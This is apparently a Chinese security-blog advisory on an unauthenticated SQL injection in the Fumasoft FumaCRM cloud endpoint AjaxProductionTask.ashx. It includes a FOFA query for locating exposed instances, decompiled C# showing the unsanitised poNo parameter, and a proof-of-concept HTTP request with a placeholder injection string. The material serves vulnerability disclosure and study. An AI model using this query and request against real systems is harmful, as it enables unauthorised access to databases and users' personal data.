孚盟云CRM AjaxProductionTask.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxProductionTask.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 AjaxProductionTask.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxProductionTask 方法的实现如下

public void ProcessRequest(HttpContext context)
{
  context.Response.ContentType = "text/plain";
  string empID = string.Empty;
  if (UserCookie.GetCookieValue("empId") != null)
    empID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(UserCookie.GetCookieValue("empId"));
  try
  {
    string str = context.Request["method"].ToString();
    if (!string.op_Equality(str, "getProductionVaule"))
    {
      if (!string.op_Equality(str, "saveProductionVaule"))
      {
        if (!string.op_Equality(str, "getProductionList"))
          return;
        this.getProductionList(context, empID);
      }
      else
        this.saveProductionVaule(context, empID);
    }
    else
      this.getProductionVaule(context, empID);
  }

当method=getProductionVaule时,进入getProductionVaule方法

private void getProductionVaule(HttpContext context, string empID)
{
  string str1 = "";
  string str2 = context.Request["poNo"] == null ? "" : context.Request["poNo"].ToString();
  if (!string.IsNullOrEmpty(UserCookie.GetCookieValue("empId")))
  {
    empID = UserCookie.GetCookieValue("empId");
    empID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(empID);
    if (!string.IsNullOrEmpty(str2))
    {
      string SQLString = $"SELECT TOP 1 A.FID,A.FactDate,A.Remark,B.gwmc, CASE WHEN EXISTS(SELECT TOP 1 1 FROM FM_TB27 P(nolock) JOIN syRoleDtl R(nolock) ON P.Rolemst = R.MstID WHERE P.MFID = B.FID AND R.EmpID = '{empID}') THEN '1' ELSE '0' END SaveRight from poModalTrack A (nolock) JOIN FM_TB26 B (nolock)ON A.ModalDtlFID = B.FID where A.PoNo = '{str2}' AND A.FactDate IS NULL ORDER BY B.OrderNo";
      DataSet dataSet = new DbHelperSql(UserCookie.GetCookieValue("corpId")).Query(SQLString);

参数poNo被直接拼接进SQL语句中执行,期间无过滤或校验,从而造成SQL注入漏洞。

getProductionList与saveProductionVaule存在同样的直接拼接导致的SQL注入漏洞。

漏洞复现

POST /m/Dingding/Ajax/AjaxProductionTask.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1","corpId": "1"}
Content-Type: application/x-www-form-urlencoded

method=getProductionList&poNo='SQLI_POC--

手机扫码阅读

金和OA WorkStateColorSet.aspx XXE漏洞

金和OA getAppIdeaValue.aspx XXE漏洞

评 论